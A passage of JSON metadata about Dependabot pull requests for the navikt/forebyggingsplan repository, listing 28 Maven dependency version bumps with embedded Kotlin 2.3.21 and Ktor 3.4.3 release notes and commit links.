href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.co...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/forebyggingsplan/pull/38","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fforebyggingsplan/issues/38","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/38/packages"},{"uuid":"4417355888","node_id":"PR_kwDOCK3PVs7aEo-V","number":482,"state":"closed","title":"chore(deps): bump the dependencies group across 1 directory with 28 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-18T00:59:29.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-11T00:53:25.000Z","updated_at":"2026-05-18T00:59:31.000Z","time_to_close":605164,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"dependencies","update_count":28,"packages":[{"name":"org.jetbrains.kotlin:kotlin-stdlib","old_version":"2.2.21","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"io.ktor:ktor-server-core","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-apache","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.26","new_version":"1.5.32","repository_url":"https://github.com/qos-ch/logback"},{"name":"org.apache.kafka:kafka-clients","old_version":"3.9.1","new_version":"4.2.0"},{"name":"com.fasterxml.jackson.module:jackson-module-jaxb-annotations","old_version":"2.20.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-modules-base"},{"name":"com.fasterxml.jackson.module:jackson-module-kotlin","old_version":"2.20.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-module-kotlin"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-xml","old_version":"2.20.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformat-xml"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.20.2","new_version":"2.21.3"},{"name":"com.ibm.mq:com.ibm.mq.jakarta.client","old_version":"9.4.4.0","new_version":"9.4.5.0"},{"name":"io.opentelemetry.instrumentation:opentelemetry-instrumentation-annotations","old_version":"2.21.0","new_version":"2.27.0","repository_url":"https://github.com/open-telemetry/opentelemetry-java-instrumentation"},{"name":"com.google.cloud:google-cloud-storage","old_version":"2.62.1","new_version":"2.67.0","repository_url":"https://github.com/googleapis/google-cloud-java"},{"name":"org.apache.commons:commons-text","old_version":"1.14.0","new_version":"1.15.0","repository_url":"https://github.com/apache/commons-text"},{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"11.15.0","new_version":"12.5.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"11.15.0","new_version":"12.5.0"},{"name":"no.nav.helse:diagnosekoder","old_version":"1.2025.0","new_version":"1.2026.0","repository_url":"https://github.com/navikt/diagnosekoder"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.3","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.junit.jupiter:junit-jupiter","old_version":"6.0.1","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"io.mockk:mockk","old_version":"1.14.6","new_version":"1.14.9","repository_url":"https://github.com/mockk/mockk"},{"name":"com.diffplug.spotless","old_version":"8.0.0","new_version":"8.4.0"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the dependencies group with 28 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin:kotlin-stdlib](https://github.com/JetBrains/kotlin) | `2.2.21` | `2.3.21` |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-client-apache](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.26` | `1.5.32` |\n| org.apache.kafka:kafka-clients | `3.9.1` | `4.2.0` |\n| [com.fasterxml.jackson.module:jackson-module-jaxb-annotations](https://github.com/FasterXML/jackson-modules-base) | `2.20.2` | `2.21.3` |\n| [com.fasterxml.jackson.module:jackson-module-kotlin](https://github.com/FasterXML/jackson-module-kotlin) | `2.20.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-xml](https://github.com/FasterXML/jackson-dataformat-xml) | `2.20.2` | `2.21.3` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.20.2` | `2.21.3` |\n| com.ibm.mq:com.ibm.mq.jakarta.client | `9.4.4.0` | `9.4.5.0` |\n| [io.opentelemetry.instrumentation:opentelemetry-instrumentation-annotations](https://github.com/open-telemetry/opentelemetry-java-instrumentation) | `2.21.0` | `2.27.0` |\n| [com.google.cloud:google-cloud-storage](https://github.com/googleapis/google-cloud-java) | `2.62.1` | `2.67.0` |\n| [org.apache.commons:commons-text](https://github.com/apache/commons-text) | `1.14.0` | `1.15.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.8` | `42.7.11` |\n| org.flywaydb:flyway-core | `11.15.0` | `12.5.0` |\n| org.flywaydb:flyway-database-postgresql | `11.15.0` | `12.5.0` |\n| [no.nav.helse:diagnosekoder](https://github.com/navikt/diagnosekoder) | `1.2025.0` | `1.2026.0` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.3` | `2.0.5` |\n| [org.junit.jupiter:junit-jupiter](https://github.com/junit-team/junit-framework) | `6.0.1` | `6.0.3` |\n| [io.mockk:mockk](https://github.com/mockk/mockk) | `1.14.6` | `1.14.9` |\n| com.diffplug.spotless | `8.0.0` | `8.4.0` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `org.jetbrains.kotlin:kotlin-stdlib` from 2.2.21 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.2.21...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-core` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent 